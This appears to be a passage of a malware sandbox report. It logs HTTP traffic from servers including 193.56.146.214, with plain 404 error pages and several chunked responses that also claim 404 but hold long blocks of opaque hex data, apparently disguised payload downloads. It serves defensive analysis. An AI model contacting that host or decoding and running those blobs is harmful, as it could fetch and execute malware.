0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 77 ed f6 4b a5 53 52 d2 c7 d4 d1 79 5e 67 ad 6d 15 b0 c0 db 31 a0 29 77 39 ac b2 03 07 1e 17 76 38 bc db 58 67 4b 5b 67 e2 3f d3 78 d9 f8 1f ba a2 50 11 3b ec 5f e0 3c 47 4b d4 50 b0 20 e1 1e 34 ee d3 2e ac 9c d8 f7 0d c0 23 af 38 15 06 1f 84 48 7f 4f 6d 5b df 92 a0 cf 0b 80 51 a9 cd 6d e1 7c 1c 9d 89 05 4d 99 2e 94 58 13 86 89 b0 6e 2c dc c3 75 44 f4 8b 85 52 aa a2 e4 2f a9 e7 5b 9a 1e bd 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:08 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc 86 d5 36 8c f6 c7 35 f3 73 07 03 d2 ff f9 fa fa eb b2 b9 71 cd 79 33 33 d1 60 73 45 7c 1f 57 44 63 84 be 3c 50 15 51 fe 08 a2 b9 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed c5 70 b1 17 20 58 4a ed 08 63 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff e4 e1 55 db 8b 0d 13 13 bf 9e e1 92 08 0c 4f c5 03 a1 cb a1 61 7e de f5 69 e1 19 17 c6 4c af 9a a5 e4 c9 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 a3 77 2a b9 72 ce cc 23 b2 3b 0e 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 1f cd cc 46 d9 c8 15 ac af ed d9 55 3d ff ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 2a 64 b1 1d 32 12 51 8c 26 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e f6 11 11 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 cc 62 06 f1 60 7f ae 03 58 e5 1d e4 a4 7d 10 99 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:09 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=96Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:09 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=95Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 37 63 63 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 7c a2 52 90 b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c f9 3e 05 14 73 5e ef 3b f3 56 72 70 6e 1e 04 b2 50 2a 87 d6 37 83 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 da 9d 1d b3 9c 88 8a 38 22 7a 61 2e e6 2a 7e d7 46 ad 96 2e cb 81 88 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a bd 0c 93 a6 69 3e 1a 20 8c 63 bb ca c9 ba ad f5 31 61 a4 cf 37 1f 1a eb 3f 82 c2 74 e1 81 8f f5 03 96 07 cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c c7 1f fd 10 e5 ec 9a db 25 79 41 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 5c b0 05 89 52 1e 05 63 bb 9a d4 46 d1 a0 3c df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 3d e2 08 5a 11 dc 40 9e 02 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 0f f8 14 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 18 65 17 b2 f4 a7 c1 58 40 f6 e7 2a 9d 72 08 ac 54 7b 52 ff eb 48 5a 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 51 04 f8 fc b7 2c f4 47 1b 3f 4d 93 e6 9f 70 06 c5 52 89 52 8c 3e 09 6e be ca 39 52 41 cc 35 5f 27 89 98 4c 68 48 94 56 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 21 95 87 04 73 2d c7 4c 02 f6 30 60 f4 6b 3d 82 ae 74 99 df 92 5a 4d aa 78 71 b0 7b 66 f4 eb 40 3a aa db da 2b 5c cb e1 59 fb c4 57 cc 6f e6 65 be a9 0b 89 8b 87 2b 02 02 53 d6 5a e3 95 e6 d8 99 0a e2 4c 97 6f 09 c5 e9 fd c7 23 56 3e ec ab 1c 2b 48 06 30 c8 0b 4c c7 c7 5f c6 c9 6b ad 20 23 6b de a1 9f 3f b0 fc f8 06 04 cd 51 e5 30 d5 71 ef d6 a3 96 1c 41 be c0 52 50 1f fb 55 d2 7a b6 d5 5b d4 72 ed f6 4b a5 53 52 d2 c1 d4 d1 79 5e 67 ad 6d 11 30 c0 db 31 a2 29 77 31 ac b2 03 04 1e 57 f3 28 bc cb 58 67 5b 5b 67 c2 3f c3 78 d9 e8 1f ba e2 50 11 3b fc 5f e0 3c c7 4b d4 50 b0 20 e1 1e 3c d7 d3 2e e3 9c d8 f7 0d 82 23 af 40 16 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 0c 1c 9d 89 05 4d 99 20 83 58 13 87 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:11 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:11:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 40 26 0b 04 59 b9 1d 6d f5 e9 e6 a1 29 7a 3a 62 c3 cc a7 43 ec 44 d7 6b 50 78 18 e0 30 8a 3c a2 61 a3 d6 d4 22 a2 58 d5 5b 2d 22 ad 88 88 5e 6f d7 9f b7 ee bc db 32 b9 9a 4c ca 4c 08 03 d4 d2 a1 97 c6 37 13 4b 42 c4 d4 5a c6 ca 23 e8 16 41 bf 6c 13 d9 c8 9f 57 db 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b 88 b6 4b 24 7e 45 f7 ff 78 8d 55 db 24 0d 11 12 b4 1f eb 92 24 82 45 c5 03 49 bd a3 61 7e de f5 69 33 11 17 7e 4f af 9a a5 e4 c3 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 11 41 48 9a 07 fd ec 23 20 77 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 d5 20 c6 4f 6b 79 82 ae 9c a7 82 4e 95 1f ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df 75 6c e5 ee 30 4c 80 f0 00 f9 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 9a 70 f7 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 94 42 40 bb 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 39 07 bd 1b 6f d3 cb 29 32 a2 ed 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 13 61 6a e6 a6 dd 1a 9f 10 af d9 b0 99 89 93 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fa b0 92 48 a9 b4 bb e1 33 17 28 d2 9e c6 1d d0 eb aa 7a 8f 52 61 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 b9 82 7b 50 bf e5 7e 75 82 71 d4 03 6b 2c 9a 76 48 0e ca 82 21 2f 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 01 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:12 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=94Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 12:11:12 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=93Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 33 62 39 32 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 7b c0 4d c5 0c cd ac 7a b7 be 4f 41 dd 46 29 0a e9 36 a7 19 bc 64 89 2e 7c 6f 3b 05 14 41 67 ef 3b f3 56 72 3e 8f 19 04 b2 10 12 87 d6 37 cb 3a fa 04 f1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 d8 9d 1d b3 9c 88 8a 38 22 da 52 2e e6 2c 7e d7 ff bc a2 2e cb 81 88 4b 55 09 84 c1 1e 3b 50 6b bd ce d3 58 87 d6 41 c9 b0 26 0c 94 d0 99 7d 5a 99 0b 99 5b af 18 9f 7a bd ed 94 a6 32 3e 1a 20 8c 63 b3 ca 21 bf ad f5 31 61 a4 cf 37 1f 1a eb 3f 8c ff 74 3d 9f 8e f5 03 b6 0f cd 9a df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 47 f0 86 f8 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 96 ed 37 14 71 7e a2 55 6b 5f c7 ae 4a 88 54 d9 4e 5d 8e 7b db fe 88 2c 93 de fa 10 e5 cc 9a db 66 dc 31 5d 0e 88 9d 8f 93 f2 2f 81 5d 06 db 3a 35 b1 cf d5 69 4b 44 88 fe 40 0a 5c 69 ba e8 33 b4 b5 05 89 12 1e 0d 83 95 e8 b1 3e a5 64 3b df 39 ec 29 02 87 b2 e3 53 3d f4 c1 96 8b 4d 5c 17 9a f7 3e c2 56 75 1b e2 95 15 f7 bb 0e 64 35 82 26 2a 62 ae 23 54 05 91 d5 4c 6a 05 23 5f cf 4a b0 60 79 0d 6a 73 e2 90 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 f2 d6 ea ac 3f 19 13 a3 0b ab c1 39 aa a7 66 94 c4 a6 d6 30 80 10 10 b2 9c cc c1 58 43 f6 e7 2a 92 72 08 aa 14 21 52 ff b3 53 5d 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 1c 5e 68 fc b4 2c f4 47 1f 3f 4d 93 19 60 70 06 7d 52 89 52 8c 3e 09 6e fe ca 39 52 41 cc 35 5f 27 89 98 4c 68 48 94 56 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 a1 95 87 04 7d 32 7d 42 02 42 39 ad d5 d3 3c 86 63 55 cd b7 fb 29 6d da 0a 1e d7 09 07 99 cb 23 5b c4 b5 b5 5f 7c a9 84 79 89 b1 39 ec 06 88 45 fa e6 58 a9 e6 e8 4f 67 2c 5e db 50 c7 95 e6 d8 99 0a e2 4c c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 76 ed f6 4b a5 53 52 d2 c5 d4 d1 79 5e 67 ad 6d 11 b0 c0 db 31 a0 29 77 31 ac b2 03 07 1e 17 76 28 bc db 58 67 4b 5b 67 c2 3f d3 78 d9 f8 1f ba e2 50 11 3b ec 5f e0 3c c7 4b d4 50 b0 20 e1 1e 34 ef d3 2e ac 9c d8 f7 0d c2 23 af 38 15 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 6c 1c 9d 89 05 4d 99 2e b4 58 13 86 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc
